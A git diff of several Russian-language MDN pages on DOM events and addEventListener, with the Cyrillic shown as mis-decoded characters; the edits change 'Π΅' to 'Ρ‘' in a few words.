<h2 id="Properties" name="Properties">Бвойства</h2>
@@ -115,7 +115,7 @@ translation_of: Web/API/Event
<dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt>
<dd>ВрСмя, ΠΊΠΎΠ³Π΄Π° событиС Π±Ρ‹Π»ΠΎ создано (Π² миллисСкундах). По спСцификации это врСмя ΠΎΡ‚ Π½Π°Ρ‡Π°Π»Π° Π­ΠΏΠΎΡ…ΠΈ (Unix Epoch), Π½ΠΎ Π² Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… опрСдСляСтся ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ; ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, вСдётся Ρ€Π°Π±ΠΎΡ‚Π° ΠΏΠΎ измСнСнию Π΅Π³ΠΎ Π½Π° {{domxref("DOMHighResTimeStamp")}} Ρ‚ΠΈΠΏ.</dd>
<dt>{{domxref("Event.type")}} {{readonlyinline}}</dt>
- <dd>НазваниС события (Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π° рСгистра символов).</dd>
+ <dd>НазваниС события (Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра символов).</dd>
<dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt>
<dd>ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π±Ρ‹Π»ΠΎ ΠΈΠ»ΠΈ Π½Π΅Ρ‚ событиС ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎ ΠΊΠ»ΠΈΠΊΡƒ ΠΌΡ‹ΡˆΡŒΡŽ) ΠΈΠ»ΠΈ ΠΈΠ· скрипта (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Π΅Ρ€Π΅Π· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ создания события, Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ <a href="/en-US/docs/DOM/event.initEvent">event.initEvent</a>)</dd>
</dl>
diff --git a/files/ru/web/api/event/type/index.html b/files/ru/web/api/event/type/index.html
index 11512d0c29..b007fc956f 100644
--- a/files/ru/web/api/event/type/index.html
+++ b/files/ru/web/api/event/type/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/Event/type
---
<p>{{APIRef}}</p>
-<p><code><strong>Event.type</strong></code>Β - это доступноС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния свойство, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π΅ строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Ρ‚ΠΈΠΏ события. Оно устанавливаСтся Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания события ΠΈ это имя ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ссылки Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ событиС.</p>
+<p><code><strong>Event.type</strong></code>Β - это доступноС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния свойство, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π΅ строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Ρ‚ΠΈΠΏ события. Оно устанавливаСтся Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания события ΠΈ это имя ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ссылки Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ событиС.</p>
<p>АргумСнт <em><code>event</code></em> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ {{ domxref("EventTarget.addEventListener()") }} ΠΈ {{ domxref("EventTarget.removeEventListener()") }} Π½Π΅ чувствитСлСн ΠΊ рСгистру.</p>
diff --git a/files/ru/web/api/eventtarget/addeventlistener/index.html b/files/ru/web/api/eventtarget/addeventlistener/index.html
index c012bbf4f9..9986963aa4 100644
--- a/files/ru/web/api/eventtarget/addeventlistener/index.html
+++ b/files/ru/web/api/eventtarget/addeventlistener/index.html
@@ -12,7 +12,7 @@ translation_of: Web/API/EventTarget/addEventListener
---
<p>{{apiref("DOM Events")}}</p>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>EventTarget.addEventListener()</code> рСгистрируСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события, Π²Ρ‹Π·Π²Π°Π½Π½ΠΎΠ³ΠΎ Π½Π°Β {{domxref("EventTarget")}}.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>EventTarget.addEventListener()</code> рСгистрируСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события, Π²Ρ‹Π·Π²Π°Π½Π½ΠΎΠ³ΠΎ Π½Π°Β {{domxref("EventTarget")}}.</p>
<p>{{domxref("EventTarget")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}, ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌΒ Π΄Ρ€ΡƒΠ³ΠΈΠΌΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌ события (Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ <code style="font-style: normal;"><a href="/ru/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code>).</p>
@@ -38,7 +38,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</
<ul>
<li><code>capture</code>: Β {{jsxref("Boolean")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ события этого Ρ‚ΠΈΠΏΠ° Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ зарСгистрированному ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ <code>listener</code>Β ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Π½Π° <code>EventTarget</code>, располоТСнный Π½ΠΈΠΆΠ΅Β Π² Π΄Π΅Ρ€Π΅Π²Π΅ DOM.</li>
<li><code>once</code>: {{jsxref("Boolean")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ€Π°Π·Π° послС добавлСния. Если <code>true</code>, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ автоматичСски удаляСтся ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅.</li>
- <li><code>passive</code>: Β {{jsxref("Boolean")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚Β <code>preventDefault()</code>. Если всС ΠΆΠ΅ Π²Ρ‹Π·ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ консольноС ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ {{anch("Π£Π»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ passive true")}}</li>
+ <li><code>passive</code>: Β {{jsxref("Boolean")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚Β <code>preventDefault()</code>. Если всС ΠΆΠ΅ Π²Ρ‹Π·ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Ρ‘Π½, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ консольноС ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ {{anch("Π£Π»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ passive true")}}</li>
<li>{{non-standard_inline}}<code>Β mozSystemGroup</code>: {{jsxref("Boolean")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π² ΡΠΈΡΡ‚Π΅ΠΌΠ½ΡƒΡŽ Π³Ρ€ΡƒΠΏΠΏΡƒ. Доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΊΠΎΠ΄Π΅, Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½ΠΎΠΌ Π² XBL ΠΈΠ»ΠΈ Π² <a href="https://chrome.google.com/webstore/detail/open-with-firefox/poeacjbaiakjnaepdjgggojcjoajakmd">Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ Chrome</a>.</li>
</ul>
</dd>
@@ -52,7 +52,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</
<dd>Если Ρ€Π°Π²Π½ΠΎΒ <code>true</code>, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ сгСнСрированныС события, посланныС со страницы (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎΒ <code>false</code> для chrome ΠΈΒ <code>true</code> для ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… Π²Π΅Π±-страниц). Π­Ρ‚ΠΎΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Gecko ΠΈ Π² основном ΠΏΠΎΠ»Π΅Π·Π΅Π½ для использования Π² дополнСниях ΠΈ самом Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="/ru/docs/Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages" title="Code snippets/Interaction between privileged and non-privileged pages">ВзаимодСйствиС ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈ Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ страницами</a> для ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² использования.</dd>
</dl>
-<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>options</code>, рСкомСндуСтся ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π΅Π³ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π»ΠΈ историчСски.</p>
+<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>options</code>, рСкомСндуСтся ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π΅Π³ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π»ΠΈ историчСски.</p>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
@@ -78,7 +78,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</
<h3 id="БСзопасная_ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ_option">БСзопасная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ <code>option</code></h3>
-<p>Π’ Π±ΠΎΠ»Π΅Π΅ старых вСрсиях спСцификации DOM Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <code>addEventListener</code> Π±Ρ‹Π»ΠΎ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, слСдуСт Π»ΠΈΒ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ событиС Π½Π° этапС погруТСния. Π‘ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ стало ясно, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ большС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ². ВмСсто добавлСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (услоТняя ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ ΠΏΡ€ΠΈ использовании Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ) Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠ΅ значСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² для настройки обработчика событий.</p>
+<p>Π’ Π±ΠΎΠ»Π΅Π΅ старых вСрсиях спСцификации DOM Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <code>addEventListener</code> Π±Ρ‹Π»ΠΎ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, слСдуСт Π»ΠΈΒ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ событиС Π½Π° этапС погруТСния. Π‘ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ стало ясно, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ большС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ². ВмСсто добавлСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (услоТняя ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ ΠΏΡ€ΠΈ использовании Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ) Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠ΅ значСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² для настройки обработчика событий.</p>
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ (Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ слишком старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹) ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ являСтся логичСским, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ создания своСго кода, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ этот сцСнарий. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ обнаруТСния для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰ΠΈΡ… вас ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ².</p>
@@ -96,16 +96,16 @@ try {
window.addEventListener("test", null, options);
} catch(err) {}</pre>
-<p>Π­Ρ‚ΠΎΡ‚ код создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>options</code> с гСттСром для свойства passive, ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌΒ Ρ„Π»Π°Π³Β <code>passiveSupported</code>Β Π² <code>true</code>, Ссли ΠΎΠ½ Π²Ρ‹Π·Π²Π°Π½. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ провСряСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>passive</code> Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>options</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>passiveSupported</code> Π±ΡƒΠ΄Π΅Ρ‚ установлСно Π² true; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½ останСтся Π»ΠΎΠΆΠ½Ρ‹ΠΌ. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ <code>addEventListener</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ„Π°Π»ΡŒΡˆΠΈΠ²Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΡƒΠΊΠ°Π·Π°Π² эти ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΠΏΡ†ΠΈΠΉ, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ распознаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² качСствС Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</p>
+<p>Π­Ρ‚ΠΎΡ‚ код создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>options</code> с гСттСром для свойства passive, ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌΒ Ρ„Π»Π°Π³Β <code>passiveSupported</code>Β Π² <code>true</code>, Ссли ΠΎΠ½ Π²Ρ‹Π·Π²Π°Π½. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ провСряСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>passive</code> Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>options</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>passiveSupported</code> Π±ΡƒΠ΄Π΅Ρ‚ установлСно Π² true; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½ останСтся Π»ΠΎΠΆΠ½Ρ‹ΠΌ. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ <code>addEventListener</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ„Π°Π»ΡŒΡˆΠΈΠ²Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΡƒΠΊΠ°Π·Π°Π² эти ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΠΏΡ†ΠΈΠΉ, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ распознаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² качСствС Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</p>
-<p>Для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ использования ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΎΠΏΡ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ просто Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π³Π΅Ρ‚Ρ‚Π΅Ρ€ для Π½Π΅Π΅,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ΄, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Π½Β Π²Ρ‹ΡˆΠ΅.</p>
